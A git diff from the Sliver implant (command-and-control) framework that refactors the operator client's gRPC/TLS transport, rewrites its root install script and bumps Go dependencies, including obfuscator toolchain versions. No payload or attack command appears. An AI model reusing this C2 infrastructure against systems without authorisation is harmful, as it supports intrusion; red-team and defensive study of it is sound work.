*tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { t.mutex.Lock() defer t.mutex.Unlock() @@ -116,7 +116,6 @@ func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { SessionID: tunnel.SessionID, Data: data, }) - if err != nil { log.Printf("Error sending, %s", err) } @@ -129,7 +128,7 @@ func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { return tunnel } -// Close - Close the tunnel channels +// Close - Close the tunnel channels. func (t *tunnels) Close(tunnelID uint64) { t.mutex.Lock() defer t.mutex.Unlock() @@ -145,7 +144,7 @@ func (t *tunnels) Close(tunnelID uint64) { } } -// CloseForSession - closing all tunnels for specified session id +// CloseForSession - closing all tunnels for specified session id. func (t *tunnels) CloseForSession(sessionID string) { t.mutex.RLock() defer t.mutex.RUnlock() diff --git a/client/transport/client.go b/client/transport/client.go new file mode 100644 index 0000000000..456ef65ad8 --- /dev/null +++ b/client/transport/client.go @@ -0,0 +1,108 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + + "github.com/reeflective/team/client" + "google.golang.org/grpc" +) + +// TeamClient is a type implementing the reeflective/team/client.Dialer +// interface, and can thus be used to communicate with any remote or +// in-memory Sliver teamserver. +// When used to connect remotely, this type can safely +// be instantiated with `new(transport.Teamclient)`. +type TeamClient struct { + team *client.Client + options []grpc.DialOption + Conn *grpc.ClientConn +} + +// NewClient creates a teamclient transport with specific gRPC options. +// It can also be used for in-memory clients, which specify their dialer. +func NewClient(opts ...grpc.DialOption) *TeamClient { + tc := new(TeamClient) + tc.options = append(tc.options, opts...) + + return tc +} + +// Init implements team/client.Dialer.Init(c). +// It uses teamclient core driver for a remote server configuration. +// It also includes all pre-existing Sliver-specific log/middleware. +func (h *TeamClient) Init(cli *client.Client) error { + h.team = cli + config := cli.Config() + + // Buffering + h.options = append(h.options, + grpc.WithDefaultCallOptions( + grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize), + ), + ) + + // Logging/audit + options := LogMiddlewareOptions(cli) + h.options = append(h.options, options...) + + // If the configuration has no credentials, we are an + // in-memory dialer, don't authenticate/encrypt the conn. + if config.PrivateKey != "" { + tlsOpts, err := TLSAuthMiddleware(cli) + if err != nil { + return err + } + + h.options = append(h.options, tlsOpts...) + } + + return nil +} + +// Dial implements team/client.Dialer.Dial(). +// It uses the teamclient remote server configuration as a target of a dial call. +// If the connection is successful, the teamclient registers a Sliver RPC client. +func (h *TeamClient) Dial() (err error) { + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + cfg := h.team.Config() + + host := fmt.Sprintf("%s:%d", cfg.Host, cfg.Port) + + h.Conn, err = grpc.DialContext(ctx, host, h.options...) + if err != nil { + return err + } + + return nil +} + +// Close implements team/client.Dialer.Close(). +// It closes the gRPC client connection if any. +func (h *TeamClient) Close() error { + if h.Conn == nil { + return nil + } + + return h.Conn.Close() +} diff --git a/client/transport/middleware.go b/client/transport/middleware.go new file mode 100644 index 0000000000..135b95b349 --- /dev/null +++ b/client/transport/middleware.go @@ -0,0 +1,162 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "encoding/json" + "errors" + "time" + + grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" + "github.com/reeflective/team/client" + "github.com/sirupsen/logrus" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/credentials" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. + ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte + + defaultTimeout = 10 * time.Second +) + +// ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try +// connecting with, TLS credentials. If such an error is raised, make sure your team +// client has correctly fetched -using client.Config()- a remote teamserver config. +var ErrNoTLSCredentials = errors.New("the Teamclient has no TLS credentials to use") + +// TokenAuth extracts authentication metadata from contexts, +// specifically the "Authorization": "Bearer" key:value pair. +type TokenAuth string + +// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. +// This function uses the core teamclient loggers to log the gRPC stack/requests events. +// The Teamclient of this package uses them by default. +func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { + logrusEntry := cli.NamedLogger("transport", "grpc") + logrusOpts := []grpc_logrus.Option{ + grpc_logrus.WithLevels(codeToLevel), + } + + grpc_logrus.ReplaceGrpcLogger(logrusEntry) + + // Intercepting client requests. + requestIntercept := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { + rawRequest, err := json.Marshal(req) + if err != nil { + logrusEntry.Errorf("Failed to serialize: %s", err) + return invoker(ctx, method, req, reply, cc, opts...) + } + + logrusEntry.Debugf("Raw request: %s", string(rawRequest)) + + return invoker(ctx, method, req, reply, cc, opts...) + } + + options := []grpc.DialOption{ + grpc.WithBlock(), + grpc.WithUnaryInterceptor(grpc_logrus.UnaryClientInterceptor(logrusEntry, logrusOpts...)), + grpc.WithUnaryInterceptor(requestIntercept), + } + + return options +} + +// TLSAuthMiddleware returns the TLS credentials and token authentication options +// built from a given team.Client and its active (target) remote server configuration. +func TLSAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { + config := cli.Config() + if config.PrivateKey == "" { + return nil, ErrNoTLSCredentials + } + + tlsConfig, err := cli.NewTLSConfigFrom(config.CACertificate, config.Certificate, config.PrivateKey) + if err != nil { + return nil, err + } + + transportCreds := credentials.NewTLS(tlsConfig) + callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) + + return []grpc.DialOption{ + grpc.WithTransportCredentials(transportCreds), + grpc.WithPerRPCCredentials(callCreds), + }, nil +} + +// Return value is mapped to request headers. +func (t TokenAuth) GetRequestMetadata(_ context.Context, _ ...string) (map[string]string, error) { + return map[string]string{ + "Authorization": "Bearer " + string(t), + }, nil +} + +// RequireTransportSecurity always return true. +func (TokenAuth) RequireTransportSecurity() bool { + return true +} + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/client/transport/mtls.go b/client/transport/mtls.go deleted file mode 100644 index 880e1319c5..0000000000 --- a/client/transport/mtls.go +++ /dev/null @@ -1,142 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "crypto/tls" - "crypto/x509" - "fmt" - "log" - "os" - "time" - - "google.golang.org/grpc" - "google.golang.org/grpc/credentials" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/protobuf/rpcpb" -) - -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb - ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte - - defaultTimeout = time.Duration(10 * time.Second) -) - -type TokenAuth struct { - token string -} - -// Return value is mapped to request headers. -func (t TokenAuth) GetRequestMetadata(ctx context.Context, in ...string) (map[string]string, error) { - return map[string]string{ - "Authorization": "Bearer " + t.token, - }, nil -} - -func (TokenAuth) RequireTransportSecurity() bool { - return true -} - -// MTLSConnect - Connect to the sliver server -func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) { - tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey) - if err != nil { - return nil, nil, err - } - transportCreds := credentials.NewTLS(tlsConfig) - callCreds := credentials.PerRPCCredentials(TokenAuth{token: config.Token}) - options := []grpc.DialOption{ - grpc.WithTransportCredentials(transportCreds), - grpc.WithPerRPCCredentials(callCreds), - grpc.WithBlock(), - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), - } - ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) - defer cancel() - connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...) - if err != nil { - return nil, nil, err - } - return rpcpb.NewSliverRPCClient(connection), connection, nil -} - -func getTLSConfig(caCertificate string, certificate string, privateKey string) (*tls.Config, error) { - - certPEM, err := tls.X509KeyPair([]byte(certificate), []byte(privateKey)) - if err != nil { - log.Printf("Cannot parse client certificate: %v", err) - return nil, err - } - - // Load CA cert - caCertPool := x509.NewCertPool() - caCertPool.AppendCertsFromPEM([]byte(caCertificate)) - - // Setup config with custom certificate validation routine - tlsConfig := &tls.Config{ - Certificates: []tls.Certificate{certPEM}, - RootCAs: caCertPool, - InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing - VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { - return RootOnlyVerifyCertificate(caCertificate, rawCerts) - }, - } - return tlsConfig, nil -} - -// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so -// we have to disable all of the certificate validation and re-implement everything. -// https://github.com/golang/go/issues/21971 -func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error { - roots := x509.NewCertPool() - ok := roots.AppendCertsFromPEM([]byte(caCertificate)) - if !ok { - log.Printf("Failed to parse root certificate") - os.Exit(3) - } - - cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert - if err != nil { - log.Printf("Failed to parse certificate: " + err.Error()) - return err - } - - // Basically we only care if the certificate was signed by our authority - // Go selects sensible defaults for time and EKU, basically we're only - // skipping the hostname check, I think? - options := x509.VerifyOptions{ - Roots: roots, - } - if options.Roots == nil { - panic("no root certificate") - } - if _, err := cert.Verify(options); err != nil { - log.Printf("Failed to verify certificate: " + err.Error()) - return err - } - - return nil -} diff --git a/client/version/sliver-version.go b/client/version/sliver-version.go index fae3a87c4d..7d0c4e2d5a 100644 --- a/client/version/sliver-version.go +++ b/client/version/sliver-version.go @@ -31,23 +31,23 @@ const ( ) var ( - // Version - The semantic version in string form + // Version - The semantic version in string form. Version string - // GoVersion - Go compiler version + // GoVersion - Go compiler version. GoVersion string - // GitCommit - The commit id at compile time + // GitCommit - The commit id at compile time. GitCommit string - // GitDirty - Was the commit dirty at compile time + // GitDirty - Was the commit dirty at compile time. GitDirty string - // CompiledAt - When was this binary compiled + // CompiledAt - When was this binary compiled. CompiledAt string ) -// SemanticVersion - Get the structured sematic version +// SemanticVersion - Get the structured sematic version. func SemanticVersion() []int { semVer := []int{} version := Version @@ -61,7 +61,7 @@ func SemanticVersion() []int { return semVer } -// Compiled - Get time this binary was compiled +// Compiled - Get time this binary was compiled. func Compiled() (time.Time, error) { compiled, err := strconv.ParseInt(CompiledAt, 10, 64) if err != nil { @@ -70,7 +70,7 @@ func Compiled() (time.Time, error) { return time.Unix(compiled, 0), nil } -// FullVersion - Full version string +// FullVersion - Full version string. func FullVersion() string { ver := fmt.Sprintf("%s", Version) compiled, err := Compiled() diff --git a/client/version/updates.go b/client/version/updates.go index 963d7040ef..e4b50b3de6 100644 --- a/client/version/updates.go +++ b/client/version/updates.go @@ -16,10 +16,8 @@ const ( dateLayout = "2006-01-02T15:04:05Z" ) -var ( - // GithubReleasesURL - Check this Github releases API for updates - GithubReleasesURL string -) +// GithubReleasesURL - Check this Github releases API for updates. +var GithubReleasesURL string // Release - A single Github release object // https://developer.github.com/v3/repos/releases/ @@ -49,12 +47,12 @@ type Asset struct { BrowserDownloadURL string `json:"browser_download_url"` } -// Created - Get the time the release was created +// Created - Get the time the release was created. func (r *Release) Created() (time.Time, error) { return time.Parse(dateLayout, r.CreatedAt) } -// Published - Get the time the release was published +// Published - Get the time the release was published. func (r *Release) Published() (time.Time, error) { return time.Parse(dateLayout, r.PublishedAt) } @@ -113,7 +111,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) { return nil, nil } -// parseGitTag - Get the structured sematic version +// parseGitTag - Get the structured sematic version. func parseGitTag(tag string) []int { semVer := []int{} version := tag diff --git a/docs/install b/docs/install index 2d19dde70e..4e9e2ed425 100644 --- a/docs/install +++ b/docs/install @@ -1,40 +1,47 @@ #!/bin/bash set -e -SLIVER_GPG_KEY_ID="4449039C" +SLIVER_GPG_KEY_ID=4449039C -if [[ "$EUID" -ne 0 ]];then - echo "Please run as root" - exit +if [ "$EUID" -ne 0 ] + then echo "Please run as root" + exit fi -# Determine OS type -# Debian-based OS (Debian, Ubuntu, etc) -if command -v apt &> /dev/null; then - echo "Installing dependencies using apt..." - DEBIAN_FRONTEND=noninteractive apt install -yqq \ +if [ -n "$(command -v yum)" ] +then + yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git +fi + +if [ -n "$(command -v apt-get)" ] +then + DEBIAN_FRONTEND=noninteractive apt-get install -yqq \ gpg curl build-essential git \ mingw-w64 binutils-mingw-w64 g++-mingw-w64 -elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL) - echo "Installing dependencies using yum..." - yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git -else - echo "Unsupported OS, exiting" - exit fi -# Verify if necessary tools are installed -for cmd in curl awk gpg; do - if ! command -v "$cmd" &> /dev/null; then - echo "$cmd could not be found, exiting" - exit 1 - fi -done +# Curl +if ! command -v curl &> /dev/null +then + echo "curl could not be found" + exit 1 +fi +# Awk +if ! command -v awk &> /dev/null +then + echo "awk could not be found" + exit 1 +fi +# GPG +if ! command -v gpg &> /dev/null +then + echo "gpg could not be found" + exit 1 +fi -cd /root || exit +cd /root echo "Running from $(pwd)" -echo "Importing GPG key..." gpg --import </dev/null 2>&1; then - echo "Generating operator configs for user $USER..." - mkdir -p "$USER_DIR/.sliver-client/configs" - /root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs" - chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/" + USER=$(basename $USER_DIR) + if id -u $USER >/dev/null 2>&1; then + mkdir -p $USER_DIR/.sliver-client/configs + /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs + chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/ fi done diff --git a/go-assets.sh b/go-assets.sh index baf65fb54e..b4f7af300f 100755 --- a/go-assets.sh +++ b/go-assets.sh @@ -20,8 +20,8 @@ set -e # Creates the static go asset archives -GO_VER="1.21.0" -GARBLE_VER="1.21.0" +GO_VER="1.20.5" +GARBLE_VER="1.20.5" SGN_VER="0.0.3" BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc" diff --git a/go.mod b/go.mod index 8becd90205..de0c9f8cb0 100644 --- a/go.mod +++ b/go.mod @@ -1,8 +1,15 @@ module github.com/bishopfox/sliver -go 1.20 +go 1.21 -replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +// A fork of the completion engine is currently used in order to consume the engine +// as a library. The fork is a very slightly patched mainline tree for that purpose, +// and is regularly maintained up-to-date with upstream. Should be removed long-term. +// +// To update or try to: +// - You must replace rsteube/carapace v0.43.0 with the version found in the main require. +// - You must replace v0.25.2... with "library", then go mod tidy && go mod vendor. +replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d require ( filippo.io/age v1.1.1 @@ -16,12 +23,14 @@ require ( github.com/cheggaaa/pb/v3 v3.1.2 github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9 github.com/chromedp/chromedp v0.9.1 + github.com/fatih/color v1.15.0 github.com/glebarez/sqlite v1.8.0 github.com/gofrs/uuid v4.4.0+incompatible github.com/google/uuid v1.3.0 github.com/gorilla/mux v1.8.0 github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 github.com/jedib0t/go-pretty/v6 v6.4.6 + github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f github.com/klauspost/compress v1.16.6 github.com/lesnuages/go-winio v0.4.19 @@ -30,24 +39,25 @@ require ( github.com/miekg/dns v1.1.55 github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 - github.com/ncruces/go-sqlite3 v0.7.2 - github.com/reeflective/console v0.1.6 - github.com/reeflective/readline v1.0.8 - github.com/rsteube/carapace v0.36.3 + github.com/ncruces/go-sqlite3 v0.8.4 + github.com/reeflective/console v0.1.8 + github.com/reeflective/readline v1.0.9 + github.com/reeflective/team v0.1.1 + github.com/rsteube/carapace v0.43.0 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 github.com/spf13/pflag v1.0.5 github.com/stretchr/testify v1.8.2 - github.com/tetratelabs/wazero v1.3.1 + github.com/tetratelabs/wazero v1.4.0 github.com/things-go/go-socks5 v0.0.3 github.com/xlab/treeprint v1.2.0 github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e - golang.org/x/crypto v0.11.0 + golang.org/x/crypto v0.10.0 golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 golang.org/x/net v0.11.0 - golang.org/x/sys v0.10.0 - golang.org/x/term v0.10.0 - golang.org/x/text v0.11.0 + golang.org/x/sys v0.11.0 + golang.org/x/term v0.9.0 + golang.org/x/text v0.12.0 golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 google.golang.org/grpc v1.56.1 @@ -92,7 +102,6 @@ require ( github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect github.com/dlclark/regexp2 v1.4.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect - github.com/fatih/color v1.15.0 // indirect github.com/fxamacker/cbor/v2 v2.4.0 // indirect github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect github.com/glebarez/go-sqlite v1.21.1 // indirect @@ -121,7 +130,6 @@ require ( github.com/josharian/intern v1.0.0 // indirect github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect github.com/jsimonetti/rtnetlink v1.3.2 // indirect - github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/mailru/easyjson v0.7.7 // indirect @@ -134,10 +142,12 @@ require ( github.com/mdlayher/socket v0.4.1 // indirect github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect github.com/mitchellh/go-ps v1.0.0 // indirect + github.com/ncruces/go-sqlite3/gormlite v0.8.4 // indirect github.com/ncruces/julianday v0.1.5 // indirect github.com/pierrec/lz4/v4 v4.1.17 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rivo/uniseg v0.4.4 // indirect github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d // indirect @@ -153,8 +163,8 @@ require ( github.com/x448/float16 v0.8.4 // indirect go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 // indirect - golang.org/x/mod v0.10.0 // indirect - golang.org/x/sync v0.2.0 // indirect + golang.org/x/mod v0.11.0 // indirect + golang.org/x/sync v0.3.0 // indirect golang.org/x/time v0.3.0 // indirect golang.org/x/tools v0.9.1 // indirect golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect diff --git a/go.sum b/go.sum index 4d7d7f4987..350744e98a 100644 --- a/go.sum +++ b/go.sum @@ -1,12 +1,15 @@ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys= cloud.google.com/go/compute v1.19.1 h1:am86mquDUgjGNWxiGn+5PGLbmgiWXlE/yNWpIpNvuXY= +cloud.google.com/go/compute v1.19.1/go.mod h1:6ylj3a05WF8leseCdIf77NK0g1ey+nj5IKd5/kvShxE= cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY= +cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg= filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE= filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek= filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns= filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc= +filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA= github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74= github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ= github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo= @@ -24,6 +27,7 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIps github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/toml v1.2.1 h1:9F2/+DoOYIOksmaJFPw1tGFy1eDnIJXg+UHjuD8lTak= +github.com/BurntSushi/toml v1.2.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM= github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= @@ -46,6 +50,7 @@ github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQq github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA= github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= +github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4= github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q= github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI= github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= @@ -87,6 +92,7 @@ github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5D github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic= github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww= github.com/cilium/ebpf v0.10.0 h1:nk5HPMeoBXtOzbkZBWym+ZWq1GIiHUsBFXxwewXAHLQ= +github.com/cilium/ebpf v0.10.0/go.mod h1:DPiVdY/kT534dgc9ERmvP8mWA+9gvwgKfRvk4nNWnoE= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/coreos/go-iptables v0.6.0 h1:is9qnZMPYjLd8LYqmm/qlE+wwEgJIkTYdhV3rfZo4jk= @@ -94,10 +100,12 @@ github.com/coreos/go-iptables v0.6.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFE github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= +github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dblohm7/wingoes v0.0.0-20230426155039-111c8c3b57c8 h1:vtIE3GO4hKplR58aTRx3yLPqAbfWyoyYrE8PXUv0Prw= +github.com/dblohm7/wingoes v0.0.0-20230426155039-111c8c3b57c8/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs= github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE= github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY= github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E= @@ -112,6 +120,7 @@ github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/frankban/quicktest v1.14.5 